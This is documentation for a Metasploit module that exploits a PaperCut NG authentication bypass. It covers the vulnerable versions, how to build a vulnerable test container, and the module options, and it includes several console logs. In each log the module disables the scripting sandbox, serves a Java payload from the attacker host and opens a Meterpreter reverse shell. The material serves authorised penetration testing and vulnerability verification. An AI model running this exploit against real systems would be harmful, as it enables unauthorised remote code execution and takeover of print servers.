## Vulnerable Application
### Description
PaperCut NG Authentication Bypass affecting the below versions, see
[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps):
- version 8.0.0 to 19.2.7 (inclusive)
- version 20.0.0 to 20.1.6 (inclusive)
- version 21.0.0 to 21.2.10 (inclusive)
- version 22.0.0 to 22.0.8 (inclusive)

See module `info` for additional references.

### Building a Vulnerable Container
Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the
software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions).

Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the
application for testing.

From an empty directory, create a Dockerfile containing the following:
```dockerfile
FROM almalinux
RUN yum install -y procps-ng net-tools cpio sudo perl which
RUN yum install -y initscripts
RUN useradd -ms /bin/bash papercut
RUN usermod -a -G wheel papercut
RUN echo "papercut        ALL=(ALL)       NOPASSWD: ALL" >> /etc/sudoers

COPY pcng-setup-*.sh /

USER papercut
WORKDIR /home/papercut
```

Download a vulnerable version. Build a container. Run the container while performing the installation.
```sh
curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh"
podman build . --tag papercut-16.4.39159
podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read"
```
Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions
are patched.*

A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit
host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the
container & tag the new image to maintain your configuration changes. In the future the service can be restarted using
`/etc/init.d/papercut start` from within the container.

*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something
to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication
Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the
"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on
the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network
that is currently in use.*


## Options

### TARGETURI

Path to the papercut application. Default is `/app`.

### HTTPDELAY

Number of seconds the web server will wait before termination. Default is 10.


## Verification Steps

1. `./msfconsole -q`
2. `use multi/http/papercut_ng_auth_bypass`
3. `set RHOSTS [target]`
4. `run`

## Scenarios

### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201
```
msf > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/rYrjrI0
[*] Server started.
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000
[*] Server stopped.
[*] rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'

meterpreter >
```
Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled.


### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200
```
msf > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7
[*] Server started.
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000
[*] Server stopped.
[*] Rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] Rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'

meterpreter >
```
Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled.


### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d
```
msf > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8
[*] Server started.
[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000
[*] Server stopped.

meterpreter >
```

### Tested on Linux x64 with PaperCut NG Version 16.4.39159
```
msf > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/GuHN8K
[*] Server started.
[*] Sending payload for requested uri: /GuHN8K.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000
[*] Server stopped.

meterpreter >
```
Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value.

### Tested on Linux x64 with PaperCut NG Version 14.3.30457
```
msf > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0
[+] The target is vulnerable.
[*] Using URL: http://10.0.4.101:8080/kBXJNp
[*] Server started.
[*] Sending payload for requested uri: /kBXJNp.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000
[*] Server stopped.

meterpreter >
```
Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable
'SetupCompleted' page.
